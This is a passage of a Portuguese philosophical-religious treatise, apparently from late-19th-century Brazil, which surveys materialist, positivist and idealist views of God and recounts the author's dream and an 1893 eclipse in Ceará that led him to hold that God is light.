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Capítulo XVI (¹)

RELIGIÃO E TEOLOGIA: AINDA A ESCOLA
ASSOCIACIONISTA

Pondo de parte os teólogos
da velha escola, os defensores da teologia cristã — podem os filósofos, que
direta ou indiretamente se ocupam da divindade, ser classificados na seguinte
ordem:

Materialistas — que negam em absoluto a existência de Deus. Para estes a matéria é o
único princípio, o único ser necessário. O pensamento é apenas um acidente da
força. Tudo se explica mecanicamente: não há Deus, nem finalidade no mundo.

Positivistas — que considerando insolúvel o problema da criação do universo, deixam
de lado como inacessível ao espírito humano a questão da existência de Deus que
é, para eles, senão um absurdo, pelo menos uma inutilidade. O que pode ser
conhecido é exatamente o que é estudado pelo materialismo, isto é, o movimento,
o puro mecanismo.

Idealistas — que, ligando-se a Kant, consideram Deus um simples ideal da razão a
que não corresponde nenhuma realidade exterior. Deus é a categoria do ideal
— diz Renan. E Vacherot diz mais ou menos a mesma coisa nestes termos: o ser
universal pode ser considerado sob dois aspectos: em sua realidade e em sua
idéia. Sob o primeiro aspecto é o mundo, sob o segundo, é Deus.

(1) 242 e 263

 

Resta considerar as duas
escolas: crítica e associacionista. Estas são de fato as duas correntes do
pensamento, as duas grandes formas da metafísica moderna. Mas não são
propriamente duas concepções, dois sistemas filosóficos, porém dois processos
lógicos, dois métodos a que estão subordinadas todas as concepções e todos os
sistemas; e o materialismo com o idealismo em particular não são senão
duas modalidades que podem existir tanto no assocriacionismo, como no
criticismo.

‘A

Disto resulta que a religião
e a ciência são necessariamente correlativas, sendo que, como diz Spencer, não
se pode pensar no conhecido, sem pensar ao mesmo tempo no desconhecido; nem no
desconhecido, sem pensar ao mesmo tempo no conhecido. De onde resulta que a
ciência não pede tornar-se mais distinta, sem que se torne ao mesmo tempo mais
distinta a religião. Uma acompanha necessariamente o desenvolvimento da outra
ou numa palavra e para empregar a própria linguagem de Spencer: a religião e a
ciência são os dois poios positivo e negativo do pensamento; uma é uma
concepção a priori, a outra, uma concepção a posteriori do mundo.

Capítulo XVIII (¹)

CRÍTICA GERAL

Do estudo até aqui feito se
se pergunta o que é permitido deduzir quanto à religião e à teologia, a
resposta não pode deixar de ser esta: nada. Todas as concepções metafísicas
instituídas fora da inspiração particular das religiões reveladas desde Kant
até Herbert Spencer, como todos os sistemas de crítica religiosa guiados pelo
princípio do livre exame desde Spinoza até Feuerbach, Strauss e Renan, terminam
direta ou indiretamente pela negação da divindade. Não se cogita de um ideal
superior capaz de fazer a harmonia no caos das convicções antagónicas. A
utilidade é elevada à categoria de lei suprema da vida; e a irreligião, negando
Deus na natureza e no espírito, e fazendo do interesse o princípio fundamental
da moral, torna-se a feição característica da liberdade de pensar. E se na época
moderna, entre os chamados livres pensadores alguns há que ainda admitem
Deus, é sempre de um modo vago e obscuro, a tal ponto que o Deus, a que se
elevam, é sempre um vão fantasma incompreensível que tudo pode ser menos
concepção racional de uma realidade viva e criadora.

(1) pp. 294

 

Em verdade a obra do
pensamento moderno é como um vasto incêndio, que a tudo inflama e devora; nada
escapa à sua fúria indomável, sopra com a mesma força no alto e no baixo, no
cume das altas montanhas, como no fundo dos vales profundos, e da destruição e
demolição que promove especialmente contra a religião e a teolegia, pode-se
dizer que não fica pedra sobre pedra.

Foi destruído o Deus
sobrenatural e invisível, mas nada foi concebido em condições de substituí-lo e
servir de princípio de explicação para a existência universal. Mesmo Spinoza,
não pode prevalecer. É certo que este ilustre pensador foi um pouco mais longe
que os outros, identificando a ordem divina com a ordem da natureza; mas em
resultado o Deus que concebe é um Deus mecânico e morto, redutível a uma
simples fórmula geométrica e percebido através de concepções abstraías e
estéreis.

Pode-se, pois, sem nenhuma
vacilação, afirmar que a última palavra da filosofia moderna é a negação da
divindade. É assim que o materialista diz positivamente: Deus não existe. O
idealista afirma de seu lado que Deus é apenas uma criação do espírito humano.
O positivista considera ociosa e de absoluta esterilidade toda e qualquer
indagação sobre a existência e natureza de Deus; e a escola associacionista,
aprofundando o exame da questão religiosa pela análise do mecanismo
intelectual, amplia e solidifica a solução positivista, assegurando que não há,
nem poderá jamais haver representação mental de um ser absoluto ou infinito.
Por outra parte, o panteísmo, identificando, com Spinoza, Deus e a natureza
inconsciente, termina por transformar a teologia em cosmologia, para não dizer
em simples concepção geométrica de uma substância indefinida e imóvel.

Nada é, pois, mais
obscuro que a filosofia moderna, cuja última palavra é, com se vê, uma palavra
de mistério. Mas o que é mais importante é que, se se considera em particular a
teologia, o resultado é ainda o mesmo, senão menos animador.

É assim que os
representantes da fé desenvolvem uma imensidade de provas no sentido de tornar
evidente a existência de Deus, mas em resultado o Deus a que se elevam, é um
Deus misterioso e invisível de que apenas podemos dizer que exista; mas isto
sem que, por forma alguma, possa haver dúvida quanto ao fato de que não pode
ser conhecido, nem compreendido.

Ê certo, entretanto, que o
infinito, não o infinito fantástico dos teólogos, mas este infinito real e vivo
que nos cerca, não pode ser uma mentira: é certo que o mundo não pode deixar de
ser expressão de uma verdade e deve haver um princípio que não somente colocado
diante das operações indefinidas do cosmos explique a natureza, como ao mesmo
tempo colocado em face da sociedade, sirva de base ao mecanismo da ordem moral
e ponha um termo à anarquia moderna indicando o ideal da conduta pela concepção
da finalidade das coisas. Este princípio existe. É uma verdade universal que
enche o mundo.

Demonstrar este princípio e
torná-lo patente a todos é o fim deste livro. Para deduzi-lo basta levar a suas
últimas consequências o método até aqui adotado, nem para reconhecê-lo é
preciso a cada um mais do que procurar elevar-se à concepção da verdadeira
ordem dos fenómenos pela observação das revelações da consciência ou
coordenação dos fatos de nosso próprio espírito posto em face da natureza e
refletindo-a.

Capítulo XIX

RELIGIÃO NATURALISTA (¹)

Eu entro aqui na
parte mais grave e mais profunda de meu livro, naquela em que meu pensamento
por tal modo está identificado com o que há de mais íntimo em meu ser, que, às
vezes, chego a pensar que a idéia que defendo é um produto de meu sangue.
Efetivamente, consulte cada um a própria consciência: é sempre nos momentos de
maior abatimento, é sempre nas horas de mais tristeza e abandono que melhor
compreendemos a necessidade em que está o homem de elevar-se à concepção de uma
verdade suprema, de uma verdade capaz de servir de princípio de explicação para
a existência universal.

E todo homem poderá dizer:
não é só a minha vida que é triste, mas a vida humana em geral. E com efeito, abstraindo cada um de sua própria existência que, como a de todo ser
vive, não é senão um momento que passa e breve se extinguirá como um sopro;
abstraindo cada um de qualquer consideração pessoal, e, considerando a vida da
humanidade em si mesma, qual é a condição de todos os homens, qual vem a ser o
fato que constitui a essência da vida? Ninguém vacilará em responder que não
pode deixar de ser este: a dor. Sofrem os justos, sofrem os bons, sofrem mais
do que todos, os maus, sofrem mesmo aqueles que se dizem felizes.

(1) pp. 311-331; pg. 346-47

51

E, em verdade,
quem haverá sobre a terra que ainda não tenha derramado uma lágrima?

Vede aquele que
passa, com o corpo abatido, o peito arquejante, os olhos sem luz, desgraçado
que mal pode dividir o seu tempo entre os gemidos e as lágrimas, sem forças
mesmo para pedir uma esmola. É um leproso, um mendigo. Já não caminha,
arrasta-se no solo; e por onde passa, vai deixando vestígios do sangue, que
corre de suas feridas. Que culpa tem o miserável de ter vindo a este mundo?

Vede aquele outro que corre,
trazendo na mão um punhal ainda tinto do sangue de sua vítima. É um assassino
que corre, perseguido pela polícia e pelos gritos do povo. De olhar ameaçador e
terrível, de aspecto horripilante, e com as feições ainda desconformes pelo
ódio ou pelo medo, causa a todos espanto indescritível. Matou para roubar,
matou para exercer uma vingança injusta. Mas de todo o modo, que culpa tem ele
de haver sido dominado por uma paixão embrutecida e cruel, que culpa tem ele
mesmo de ser mau?

Nestes dois homens estão,
sob um ponto de vista, limitados dois aspectos extremos da dor. Vê-se aí: a dor
do mau que morre moralmente; e a dor do desgraçado que vai mesmo em vida
assistindo à decomposição de seu corpo.

Mas o que é certo é
que estão sujeitos à lei comum do sofrimento, e o que é mais importante é que
entre as que mais felizes parecem e mais cegos se mostram, muitos há que, sem
que se apercebam, trazem já dentro de si mesmos o gérmen da moléstia que os
levará ao cemitério. E de todos, o que restará depois de algum tempo, depois de
alguns anos, depois de alguns séculos? Nada.

Pois bem: foi sempre quando
refletindo sobre as condições de nossa existência, mais eu me deixava absorver
pelo pensamento de nossa própria miséria; foi sempre quando, pensando sobre a
contingência e o nada de todas as grandezas humanas, eu procurava a solidão,
fugia dos homens e ia, muitas vezes, refugiar-me no cemitério, buscando
inspirar-me naquele silêncio profundo e interpretar a linguagem muda dos
mortos, que eu melhor compreendi a necessidade de uma explicação para tudo o
que existe, de uma explicação que esclareça o problema da natureza e sirva de
fundamento racional para a vida e para a morte.

 

Um dia (ainda me
lembro), entrara a vida nacional do Brasil em sua fase revolucionária e
sanguinolenta. Eu, por minha parte, atravessara uma crise desesperada e cruel.
Diversas circunstâncias, já de caráter político, já de caráter privado
torturavam-me a vida. Todas as minhas esperanças haviam caído; todas as minhas
ilusões haviam sido desfeitas. E eu, percebendo quanto é dura a fatalidade, que
pesa muitas vezes sobre os destinos humanos, cheguei a desejar mesmo a morte,
sentindo que meu coração se desfazia em pedaços.

Mas foi justamente neste
momento que a vida me voltou ao coração e ao espírito.

Era noite. Na
impossibilidade de adormecer, levantei-me e saí. Silêncio profundo. A cidade
estava calma, o céu estava sem nuvens. A frescura da noite alentou-me e eu
comecei a sentir que uma força desconhecida me penetrava as profundezas do ser.
Brilhavam no céu inúmeras estrelas e eu, olhando em torno de mim e vendo para
todos os lados estender-se o espaço infinito, senti-me repentinamente dominado
pela idéia de que uma grande verdade enche o mundo.

Comecei a refletir nesta
afirmação de Schopenhauer: — que o mundo é um produto do cérebro. E dizia
comigo mesmo: Mas como pode ser isto? Como pode a minha cabeça produzir todas
estas coisas maravilhosas que vejo? Entretanto Schopenhauer teve o arrojo de
afirmar que semelhante absurdo é uma verdade evidente. Dar-se-á que fosse um
louco? Não é admissível, nem pode crer-se que quisesse zombar da posteridade
quando disse prefaciando a sua obra: "Não é a meus contemporâneos, não é a
meus compatriotas, é à humanidade que ofereço o meu trabalho desta vez
completo, na esperança de que dele poderá tirar algum fruto".

Quando assim
refletia, notei que o céu cada vez se tornava mais límpido e as estrelas Cada
vez derramavam mais luz. Pensei nesta outra proposição de Schopenhauer:
"Experimentalmente minha cabeça está dentro do espaço; transcendentalmente
o espaço está dentro de minha cabeça." Esta distinção não resolve,
complica a dificuldade. Demais, se tudo isto que vejo é um produto de meu
cérebro, dizia eu, então que mecanismo extraordinário não é este cérebro?
Entretanto o mundo estava ali, a natureza permanecia inalterável e o espaço me
cercava por todos os lados. — Não, este infinito, que me cerca, existe
realmente. — E olhando para o alto, li através da luz das estrelas a decifração
do enigma do mundo.

53

Foi em ligação ao pensamento de que por esta ocasião me
senti dominado que tive, algum tempo depois, um sonho, que peço permissão para
narrar aqui. Trata-se, apenas, de um sonho; mas este sonho deu corpo a uma
idéía de que eu até então tivera apenas vago pressentimento, mas que já existia
em meu espírito; e eu para verdadeiramente seguir o desenvolvimento natural de
meu pensamento, preciso de reportar-me a ele. Guardarei, porém, absoluta
fidelidade, e mesmo esforçar-me-ei de fazer com a maior singeleza possível a
exposição do que se passou, de medo a evitar qualquer interpretação incabível;
e até, se fôr necessário, precisarei a data e o lugar e explicarei as
circunstâncias do momento.

 

Foi no dia 1.° de
janeiro de 1892, em Fortaleza. Passei todo o dia lendo e lia de preferência
trabalhos de teologia, especialmente a obra do Pe. Gratry, La connaissance
de Dieu.

 

 

Esta obra é, aliás, um
trabalho de velha teologia, no sentido ortodoxo da Igreja: mas é, não obstante,
um livro precioso. Pelo menos, escrito em linguagem clara e concisa, notável
pela erudição e por uma certa largueza de vistas, não obstante a subordinação
em que está para com a revelação e a fé, é um perfeito resumo da filosofia
cristã, uma história completa da evolução geral do pensamento teológico no
mundo católico.

É possível que o que se passou em
seguida fosse apenas uma repercussão da leitura que fiz durante o dia; mas,
como quer que seja, o que é certo é que à noite sonhei que estava a discutir
com uma pessoa que não vi, porque o lugar em que estávamos era completamente
escuro, mas que conheci ser profundamente instruída, porque sua palavra era
fácil e inspirada e sua lógica dominadora e invencível. O objeto em discussão
era este: a existência de Deus. Não posso reproduzir os argumentos que foram
formulados de parte a parte: mas sei que a discussão foi longa e agitada. Um
interesse crescente nos prendia, mas infelizmente não me lembro das idéias que
eu sustentava, nem tampouco das idéias que defendia o meu interlocutor. Lembro-me,
porém, que ao encerrar-se o debate eu concluí mais ou menos nestes termos:

 

— Sobre esta questão será sempre inútil
todo e qualquer esforço de nossa parte. Tratando-se de Deus, não se pode
afirmar nem que Ele existe, nem que não existe, porque antes de qualquer outra coisa,
nada podemos saber a seu respeito. Tal é a única solução razoável, porquanto,
em primeiro lugar, tendo sido Deus o criador do universo, como pretendem todos
os teólogos, deve ter havido necessariamente um tempo em que só Ele existia, antes
do próprio universo, antes de toda a sensação, antes de todo o movimento, antes
do espaço e do tempo, antes de tudo o que existe. Ora uma existência nestas
condições não pode sequer ser imaginada. Entretanto quando falamos de Deus,
falamos sempre pondo-o em relação com o mundo, representando-o sempre por meio
de palavras com que só podem ser representadas as coisas do mundo De onde vê-se
que a nossa própria linguagem é absolutamente imprópria, sempre que nos
referimos a Deus. Depois nós não temos., nem poderemos jamais ter nenhuma idéia
de Deus, porque toda a idéia prende-se mais ou menos diretamente a fatos
sensíveis, toda a idéia nasce da sensação, e Deus não pode ser sentido, nem
pensado, porque está acima de toda a sensação, como de todo o pensamento.
Portanto, de toda esta discussão só uma coisa pode ser com segurança deduzida:
é a nulidade da teologia e de tudo o que tem relação com a divindade.

— Enganai-vos, —
respondeu-me aquela voz que partia das
trevas: — Deus existe e pode ser conhecido. Há na natureza mes
ma alguma coisa que o traduz e revela. Observai e vereis.

A voz calou-se. E de
repente tão impenetrável tornou-se a escuridão e tão absoluto se fez em torno
de mim o silêncio que eu fiquei como se estivesse sozinho no mundo, como se
tudo houvesse desaparecido e nada mais existisse, além de minha consciência no
seio do espaço universal escuro e deserto.

— O que significa isto? — pensei eu. — Tudo é nada.
Passaram-se assim alguns momentos de dolorosa e extrema

ansiedade. Depois alguns sons longínquos
interromperam aquele silêncio universal: era uma música que comecei a ouvir
como se partisse de uma grande distância. Sons, música, harmonia, será isto
Deus? — pensei eu. A música se aproximava, depois começava outra vez de longe:
às vezes tornava-se quase imperceptível, ia crescendo aos poucos, depois
calava-se de todo, para logo era seguida começar de novo na mesma sucessão
indefinida.

Isto levou algum
tempo e eu já começava a seriamente impacientar-me, quando disse:

— Não compreendo isto,
não sei que relação possa ter essa
música com a divindade.

Neste momento a música
começou como se fosse uma grande orquestra. E cresceu, cresceu até que fiquei
em condições de nada poder perceber no meio daquela harmonia ruidosa e
estranha, como se de
todos os lados soprasse uma música, vindo todas repercutir em confusão no meu
espírito. Por fim, já o que se passava de modo algum se poderia dizer que era
uma música, mas antes e propriamente uma combinação de sons desordenados. Eu,
trémulo de susto, ainda disse:

— Isto não traduz Deus, isto
não pode ter nenhuma relação com a divindade. Pelo contrário, há confusão e
desordem em tudo o que se passa.

Mas exatamente neste
momento brilhou uma luz como se caísse do alto. Não era luz sobrenatural, mas
luz física, como se um raio do sol ou do luar passasse através de uma vidraça.
Não obstante, foi como se um raio de luz estelar, desprendendo-se do vácuo,
terminasse por iluminá-lo e enchê-lo; e eu, sentindo renascer o mundo diante
daquela luz que rasgava a noite universal, experimentei o mesmo efeito que
porventura experimentaria se o universo fosse criado de novo.

E a voz que partia
das trevas repercutiu no fundo de minha consciência: — Deus é a luz.

Nessa ocasião
acordei, sendo inútil tentar descrever a emoção de que me achava possuído. Não
obstante, adormeci de novo e no outro dia quase não pensei no que sonhara à
noite. Mas com o tempo cada vez se tornava mais viva e mais clara em meu
espírito a voz que dissera: Deus é a luz.

Algumas pessoas a quem
contei depois o meu sonho acharam-no curioso em extremo, mas poucos se
atreveram a fazer qualquer comentário. Eu mesmo limitava-me a contar o que se
passara, mas nunca cheguei a supor que houvesse alguma coisa mais do que um
sonho. E em verdade não houve. Mas por uma notável coincidência, sucedeu que,
logo no ano seguinte, deu-se o eclipse total do sol que foi observado no Ceará
a 16 de abril. Como é natural, minha curiosidade chegou sobre este fato ao
último ponto e logo que chegou a hora designada, já eu estava cem o meu pedaço
de vidro enfumaçado a olhar continuamente para o sol. Observei o eclipse desde
que começou a manifestar-se até que o disco lunar cobriu todo o corpo do astro
do dia.

Foi o que já vi de mais belo
no mundo. O sol tornara-se apenas uma mancha escura no céu, terminada por uma
circunferência azulada da qual se desprendiam algumas cintilações, como
ligeiras faíscas elétricas. A temperatura baixou consideravelmente e fez-se de
um trágico indescritível o aspecto exterior da natureza. O céu de azul
puríssimo que era, logo se fez cor de chumbo; e as nuvens, dantes prateadas e
claras, tornaram-se sombrias como o mar.

Havia muita gente em torno de mim: de uns para outros logo se
comunicou um longo murmúrio com se fosse uma espécie de pressentimento de
aniquilamento universal.

 

Mas repentinamente de uma das extremidades do sol desprende-se a luz.
Começou como se fosse apenas uma estrela; mas em um momento enche o mundo; e eu
vendo instantaneamente tudo claro e brilhante, senti a luz envolver-me, bater
sobre mim como se o sol caísse sobre a terra.

Foi exatamente assim
que me envolveu a luz que vi em meu sonho. Isto levou-me a refletir
profundamente, perseverantemente. Aquela luz que partia das trevas e esta que
desce dos espaços celestes são uma só e mesma coisa. Como é que um sonho
reflete tão fielmente a realidade? Deve haver em tudo isto uma grande verdade.
Tudo tem a sua razão de ser e a sua explicação natural, mesmo o sonho. E
pensando bem, o sonho não é em si mesmo uma coisa extraordinária? E quando o
sonho é assim tão logicamente encadeado que quase se confunde com a vida real,
por que devemos considerá-lo como vão? Quem já explicou o que é o sonho? Quem
já conseguiu formular as leis de sua evolução, determinar as causas de sua
aparição?

Por certo não se
poderá contestar que é um fenómeno da vida e portanto tão sério quanto é séria
a própria vida. Ora, eu sonhei — eis um fato. Neste sonho foi-me com a maior
lucidez indicada uma solução para o grande problema da religião e da teologia
que foi sempre a preocupação constante de minha vida. É preciso, pois, tomar em
consideração este fato. Foi o que eu levei a pensar muitos dias, depois do que
tomei a resolução de estudar a fundo a verdadeira significação da luz.

Em toda a parte existe a
luz; por toda a parte é a luz que dirige a marcha das coisas. A luz é como um
imenso oceano envolvendo tudo o que existe; e em verdade é dentro da luz que se
movem os mundos.

Tudo vem, pois, em
confirmação desta idéia, a mais simples, a mais clara e a mais fecunda de
todas: é a luz o Deus verdadeiro e único. Deus torna-se assim manifesto e
visível, permanente e eterno. E pode-se verdadeiramente dizer ele, que não tem
corpo, mas enche o espaço; que não pode ser tocado, mas existe em toda a parte.
E não tem forma, mas compreende e desenha todas as formas; nem precisa de ser
demonstrado, porque é dentro dele que tudo se demonstra, tornando-se por este
modo patente a inutilidade de todos estes longos e intermináveis expedientes de
argumentação especulativa com qúe a
velha teologia, em vez de esclarecer, pelo contrário torna absolutamente
incompreensível a existência de Deus.

 

A filosofia vem também em confirmação da mesma idéia, e
toda a exposição até aqui não é senão uma preparação ou antes uma ascensão
gradativa para o reconhecimento desta verdade suprema: — que deve haver na
natureza um princípio a que tudo está subordinado, que é ao mesmo tempo o
fundamento de toda a verdade e a alma do mundo ou força geradora de tudo o que
existe. Este princípio é, na natureza, a luz, no espírito humano, a consciência.
Mas a consciência não é senão a face subjetiva da luz; a luz não é senão a
manifestação exterior da consciência. Ou em outros termos: a consciência é a
luz no espírito; a luz é a consciência na natureza. De onde vê-se que a
consciência e a luz não são propriamente dois fatos distintos, mas apenas
as duas faces objetiva e subjetiva de um só e mesmo fato, quer dizer, são uma
e outra, uma só e mesma coisa, a luz, isto é, Deus.

 

Para tornar, porém, bem patente esta
verdade cumpre considerar um pouco mais detalhadamente os fatos e as
circunstâncias do sonho em que reduzido antes de tudo ao silêncio e imobilidade
inalterável de uma noite infinita, primeiro ouvi o som de uma música, para
depois contemplar a luz. Primeiro, música; depois, luz: esta sucessão deve ter
a sua significação. Ora, a luz é o que há de mais elevado e profundo: porém
depois da luz nada há que possa ser comparável à música. Além disto, música é
som, isto é, sensação do ouvido; luz é claridade, isto é, sensação da vista.

A luz, isto é, a sensação da vista, e a
música ou mais precisamente, o som, isto é, a sensação do ouvido, são,
pois, os dois grandes fatos da natureza e aqueles de que, por assim
dizer, tudo depende, sendo que se fosse possível imaginar que estes dois fatos
viessem a desaparecer, tudo ficaria reduzido a nada. Com efeito,
imaginai que todo o som, que todo o ruído termine: admiti que coda a luz se
desfaça. O que resta na natureza? Um silêncio inalterável, uma noite sem fim,
em uma palavra: nada. Cessaria a consciência e com ela toda a existência.

É, pois, pelo som e pela luz que o mundo se identifica com
a consciência dando origem ao conhecimento. Daí o alto valor metafísico do
ouvido e da vista, que são verdadeiramente os sentidos da percepção divina, isto
é, do que há de permanente e eterno na natureza. Todavia, de um para
outro destes dois sentidos vai uma grande distância: o ouvido percebe o som, coisa
da terra; a vista percebe a luz, coisa celeste; o ouvido percebe o som que só
nos é dado observar nos limite? de nosso mundo terrestre; a vista percebe a luz
que enche o espaço infinito. Em outros termos: a música é Deus
percebido na esfera limitada da atmosfera terrestre; a luz é Deus percebido na
esfera infinita da natureza.

 

Consideremos,
porém, em particular e um pouco mais detalhadamente a música antes de chegar às
últimas deduções a estabelecer sobre a luz.

I. MÚSICA.
E a música não é somente uma criação do espírito humano, a mais nobre e a mais
bela das artes; é também e antes de tudo um fato da natureza. Há música em toda
a parte e de todos os modos: há música no fundo do mar, como no alto das
grandes montanhas; no rugir do vento que sopra no deserto, como na voz da
cascata que reverdece as colinas; no silêncio tranquilizador de uma noite
estrelada, como no tumulto desordenado de um dia de tempestade. Há música no
espírito e música na natureza: e em verdade, o que pode haver de mais belo que
esta música incomparável com que os pássaros na floresta festejam pela manhã o
aparecimento da luz?

II. LUZ. Contra a teoria que apresento sobre a luz, uma objeção poderá ser
feita aparentemente valiosa, é que a idéia que defendo não pode ser aceita,
desde que é apenas o produto de um sonho. Assim, porém, não sucede. É certo que
sonhei; mas em vez de ter sido o sonho que produziu a idéia, foi ao contrário a
idéia que produziu o sonho. O sonho apenas tornou a idéia mais viva e mais
clara; mas já existia completa em meu espírito. E para prová-lo vou reproduzir
aqui um artigo que publiquei em 1887, a propósito de outro artigo publicado na
"Revista do Instituto do Ceará", sob o título de Evoluções do
clima,
por um ilustre pensador, o Sr. Joaquim Catunda, então professor de
filosofia no Liceu de Fortaleza e hoje Senador da República.

Todas as
obscuridades da teologia e todos os erros dos teólogos resultam do modo por que
em geral se compreende e explica a obra da Criação.

Em conclusão e para resumir em poucas
palavras o conjunto de minhas idéias sobre o problema fundamental da religião:

 

Vendo
de perto pequenas divergências acidentais que só interessam à forma, sem por
modo algum afetar o fundo mesmo das coisas, é idéia de todos os pensadores e
teólogos desde os tempos primitivos da história até a época presente: — de uns,
que só o mundo existe, sem Deus; — de outros, que o mundo nem sempre existiu, e
que foi Deus quem o criou, sendo que só Deus, que existiu sempre, existia antes
de o ter criado, tirando-o do nada.

Eu digo: o mundo existe, como Deus, ad
aeterno,
sendo que Deus existiu sempre, mas ao mesmo tempo sempre que
existiu, criou; logo o mundo que é sua criação, também existiu sempre. Em
outros termos: Deus é a substância infinita; o mundo, sua função permanente;
nem se pode fazer abstração do mundo, quando se fala de Deus, pois é o mundo
que constitui a própria atividade de Deus.

B também idéia de todos os
pensadores e teólogos: — de uns, que Deus não existe, logo não pode revelar-se
por modo algum; de outros, que Deus existe, mas só pode ser conhecido por modo
estranho e superior à natureza, isto é, pela fé, sendo que só se pode provar
sua existência admitindo o milagre e a revelação sobrenatural cu, mais
precisamente, a interrupção do curso regular das leis da natureza.

Eu digo: é a natureza
mesma que constitui uma revelação permanente da divindade; é a regularidade
mesma das leis da natureza que constitui a melhor e mais completa, ou antes, a
única demonstração da existência de Deus.

É idéia ainda de
todos os pensadores e teólogos: — de uns, que Deus não existe; de outros, que
Deus existe, mas é invisível e absolutamente incompreensível.

Eu digo: Deus é o que há de
mais claro e visível na natureza: Deus é a luz.

Volume 1
Volume 2
Volume 3

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